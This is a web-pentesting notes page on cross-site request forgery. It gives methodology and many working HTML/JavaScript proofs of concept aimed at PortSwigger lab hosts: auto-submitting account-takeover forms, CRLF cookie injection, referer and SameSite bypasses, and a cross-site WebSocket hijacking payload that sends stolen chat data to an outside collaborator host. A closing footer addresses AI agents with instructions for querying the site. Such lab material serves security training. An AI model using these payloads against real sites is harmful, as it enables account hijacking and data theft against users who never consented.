# Cross-site request forgery (CSRF)

## Methodology

**Requirements for CSRF to Work**

* A relevant action must be possible (change username, email, password, etc.)
* Cookie-based session handling
* No unpredictable or unguessable request parameters

***

#### Case 1: Testing CSRF Tokens

* Remove the CSRF token and see if the application still accepts the request.
* Change the method from `POST` to `GET`.
* Check if the CSRF token is tied to the user session.
* Create a new CSRF token from one user and use it in another session.

***

#### Case 2: When CSRF Cookies Are Present

* Check if the CSRF token is tied to the CSRF cookie.
* Submit an invalid CSRF token.
* Submit a valid CSRF token from another user.
* Submit a valid CSRF token and CSRF cookie from another user.

***

#### Case 3: When Referer Header Is Used

* Remove the `Referer` header.
* Determine which part of the referer is being validated.
* Attempt to bypass it by spoofing the required portion (see below).

***

#### Case 4: SameSite Cookies

* Analyze SameSite settings: `None`, `Lax`, `Strict`.
* Identify possible bypasses depending on configuration (see examples below).

## PoC Examples

### CSRF via GET

```html
<html>
  <body>
    <form action="https://TARGET_DOMAIN/my-account/change-email">
      <input type="hidden" name="email" value="wiener@admin-user.net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

### **CSRF via POST**

```html
<html>
  <body>
    <form action="https://TARGET_DOMAIN/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="pwned@portswigger.net" />
      <input type="hidden" name="csrf" value="TOKEN_HERE" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

## **Cookie header injection Technique**

If the website contains any behavior that allows an attacker to set a cookie in a victim's browser, then an attack is possible. The attacker can log in to the application using their own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place their cookie into the victim's browser, and feed their token to the victim in their CSRF attack.

**Example:**

<figure><img src="/files/7c2Ew8hhZJM1Hl5NsUXf" alt=""><figcaption><p>Functionality that injects data into the headers</p></figcaption></figure>

```sh
%0d%0aSet-Cookie: csrfKey=test
```

<figure><img src="/files/pVOTXJSh0tEPmEqsRtBR" alt=""><figcaption><p>Injecting the csrfkey cookie into the headers</p></figcaption></figure>

#### **Cookie header injection POC**

```html
<html>
	<body>
	
		<form method="POST" action="https://0aa800900408c76082d294bc004600ad.web-security-academy.net/my-account/change-email">
			<input type="hidden" name="email" value="pwned5@portswigger.net"/>
			<input type="hidden" name="csrf" value="fake"/>
			<input type="submit" value="Submit">
			<img style="display:none" src="https://0aa800900408c76082d294bc004600ad.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
		</form>

	</body>
<html>

```

## Referer techniques

### CSRF + Removing referer Header

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
<head><meta name="referrer" content="never"></head>
  <body>
    <form action="https://0a4100f70320777283320039006c0033.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="admin2&#64;admin&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

```

### Bypassing Mandatory Referer (Old & Modern Techniques)

**Old Technique**: Use `history.pushState()` to spoof referer:

```html
<html>
<script>
      history.pushState('', '', '/?0a69002b0413d9fc803621af0019008c.web-security-academy.net');
</script>
    <form action="https://0a69002b0413d9fc803621af0019008c.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="pwned2@portswigger.net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

```

**Modern Technique**:

* Use header `Referrer-Policy: unsafe-url`
* Inject valid portion via URL if applicable

<figure><img src="/files/UAvK9C5HgMjby4fklXJ4" alt=""><figcaption></figcaption></figure>

## SameSite Protection Bypasses

### Bypass SameSite=Lax via \_method=POST

Some frameworks (Laravel, Symfony, Rails, etc.) support overriding HTTP methods via `_method`.

**Original Request**&#x20;

```http
POST /my-account/change-email HTTP/2
Host: 0aba0008045de6e18227572c002000fa.web-security-academy.net
email=wiener%40admin-user.net
```

Bypassed:

```http
GET /my-account/change-email?email=wiener2%40admin-user.net&_method=POST HTTP/2
Host: 0aba0008045de6e18227572c002000fa.web-security-academy.net
```

### Bypass SameSite=Strict Using Gadgets

To exploit a SameSite=Strict cookie restriction, you can search for on-site gadgets—functionalities that allow you to trigger internal requests from within the same site. Common gadgets include:

* Client-side redirects (JavaScript)
* Dynamic links or anchor tags
* Parameters that the frontend rewrites into internal URLs
* XSS reflected or stored

These features are useful because browsers consider them same-site requests, meaning cookies will be included—even if the original interaction began from a cross-site context.

**Exploitation Steps:**

1. Identify a gadget that reflects or redirects based on a user-controllable parameter (e.g., postId).
2. Craft a malicious input that rewrites the target to an internal CSRF-sensitive endpoint. (change email)
3. Trigger the gadget to make the browser issue the request from within the same site, causing it to include the session cookie.

```javascript
https://0a7200cb03ae97ef8006085700ba0028.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=pwned@admin-user.net%26submit=1%3b
```

This URL abuses a frontend gadget that rewrites the postId parameter into an internal request. By crafting the input, we force the application to issue a same-site request to /my-account/change-email, effectively bypassing the SameSite=Strict restriction and executing a CSRF attack.

#### **POC for CSRF**

```html
<script>
document.location="https://0a7200cb03ae97ef8006085700ba0028.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=pwned@admin-user.net%26submit=1"
</script>
```

### Bypass SameSite=Lax Using Newly Issued Cookies (120s Window)<br>

When a cookie is set without a SameSite attribute, Chrome applies SameSite=Lax by default.\
However, for the first 2 minutes, Chrome allows that cookie to be sent in cross-site POST requests, enabling a temporary CSRF window.

**How to Identify:**<br>

1. In Burp, find a Set-Cookie header that lacks a SameSite attribute. (/login)
2. Confirm the cookie is used for session authentication.
3. Verify a sensitive POST endpoint (e.g., /my-account/change-email) doesn't require CSRF tokens.
4. Find a gadget like /social-login that triggers a new session cookie each time it's visited.

**Exploitation Flow:**<br>

1. Use window\.open() to trigger /social-login → forces a new session cookie.
2. Wait a few seconds.
3. Auto-submit a CSRF POST form to the vulnerable endpoint using the fresh cookie.

**Final Exploit Example:**

```html
<form method="POST" action="https://0a8700130312555c80548a2c005500ee.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned2@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://0a8700130312555c80548a2c005500ee.web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>
```

Result: Chrome sends the new cookie in the POST request, bypassing SameSite=Lax.

## Cross-Site WebSocket Hijacking

### CSRF + XSS + Cross-Site WebSocket Hijacking (CSWSH)

```html
<script>
    document.location = "https://cms-0aad00d003b316ec8050265e003a0086.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f...%3c%2f%73%63%72%69%70%74%3e&password=test";
</script>
```

Data urldecoded

```html
<script>
    var ws = new WebSocket('wss://0aad00d003b316ec8050265e003a0086.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://1ac7w6ljeeeg0awf9oc1ixo2wt2kqbe0.oastify.com', {
            method: 'POST',
            mode: 'no-cors',
            body: event.data
        });
    };
</script>

```

The script was executed within the same origin. Since the malicious request was generated from JavaScript running on the legitimate domain, the browser included the SameSite=Strict cookie, allowing the attacker to:

* Perform a full CSRF attack
* Steal authenticated data from WebSocket messages
* Exfiltrate the data to an attacker-controlled domain


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://intrusionz3r0.gitbook.io/intrusionz3r0/hacking-web/vulnerabilities/cross-site-request-forgery-csrf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
